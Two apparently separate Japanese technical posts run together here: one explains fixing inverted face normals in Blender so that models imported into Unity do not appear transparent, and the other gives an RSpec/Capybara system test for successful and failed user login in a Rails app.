　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/7cc35143-8825-a81f-5fac-e83216e5e531.png" width=90%>

　　　差分箇所が表示される
　　　<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3299892/67d1af4f-3536-2c62-af70-31864bdb5d93.png" width=90%>
【Blender】Blender⇒Unityにインポートした3Dモデルが透過してしまうときの対処法

# 背景
Blenderで作成した3DモデルをUnityにインポートした際に3Dモデルが透過されてしまった。
本記事ではその原因と対処法を記載する。
Blenderで作成した3DモデルをUnityに取り込む方法は次の記事で紹介しているので割愛します。

https://qiita.com/enumura1/items/4efd865137091d85c923


# 原因
今回屋根＋煙突の3Dモデルを作成していた際に、
Unity側で屋根の部分のみ透けている部分があった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1247619/a91a665b-8356-39ea-05bf-9dc067d394fb.png)

Blender画面右上の「ビューポートオーバーレイ」から「面の向き」に✅をいれる。
すると以下のようにメッシュの面の向きが内側になっている部分が赤色に表示される。
これが原因でUnity側で透過されしまった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1247619/85243e96-33f0-071c-b371-bb644051b593.png)

# 対処法

メッシュを選択し、画面上部の「メッシュ」から「ノーマル」⇒「面の向きを外側にそろえる」を選択。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1247619/bba83160-e50e-e647-df5a-fc2a76037bc6.png)

以下画像のようにすべて青色に更新された。
この状態でエクスポートし、Unity側にインポートしてみると問題なく表示された。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1247619/60548bda-61ea-4dbb-df02-d646e5292452.png)
ユーザーの結合テストコード

### 目的
- ログインについての結合テストコード
### ユーザーログインの結合テストコード
#### exampleを整理
- ログインできる時
    - 保存されているユーザーの情報と合致すればログインできる
    - トップページに移動する
    - トップページにログインページへ遷移するボタンがあることを確認する
    - ログインページに遷移する
    - 正しいユーザー情報を入力する
    - ログインボタンを押す
    - トップページへ遷移することを確認する
    - カーソルを合わせるとログアウトボタンが表示されることを確認する
    - サインアップページへ遷移するボタンやログインページへ遷移するボタンが表示されていないことを確認する
- ログインできない時
    - 保存されているユーザーの情報と合致しないとログインできない
    - トップページに移動する
    - トップページにログインページへ遷移するボタンがあることを確認する
    - ログインページへ遷移する
    - ユーザー情報を入力する
    - ログインボタンを押す
    - ログインページへ戻されることを確認する

```ruby
require 'rails_helper'

RSpec.describe 'ログイン', type: :system do
  before do
    @user = FactoryBot.create(:user)
  end
  context 'ログインできる時' do
    it '保存されているユーザーの情報と合致すればログインができる' do
      # トップページに移動する
      visit root_path
      # トップページにログインページへ遷移するボタンがあることを確認する
      expect(page).to have_content('ログイン')
      # ログインページへ遷移する
      visit new_user_session_path
      # 正しいユーザー情報を入力する
      fill_in 'Email', with: @user.email
      fill_in 'Password', with: @user.password
      # ログインボタンを押す
      find('input[name="commit"]').click
      # トップページへ遷移することを確認する
      expect(page).to have_current_path(root_path)
      # カーソルを合わせるとログアウトボタンが表示されることを確認する
      expect(
        find('.user_nav').find('span').hover
      ).to have_content('ログアウト')
      # サインアップページへ遷移するボタンやログインページへ遷移するボタンが表示されていないことを確認する
      expect(page).to have_no_content('新規登録')
      expect(page).to have_no_content('ログイン')
    end
  end
  context 'ログインできない時' do 
    it '保存されているユーザーの情報と合致しないとログイン化できない' do
      # トップページに移動する
      visit root_path
      # トップページにログインページへ遷移するボタンがあることを確認する
      expect(page).to have_content('ログイン')
      # ログインページへ遷移する
      visit new_user_session_path
      # ユーザー情報を入力する
      fill_in 'Email', with: ''
      fill_in 'Password', with: ''
      # ログインボタンを押す
      find('input[name="commit"]').click
      # ログインページへ戻されることを確認する
      expect(page).to have_current_path(new_user_session_path)
    end
  end
end

```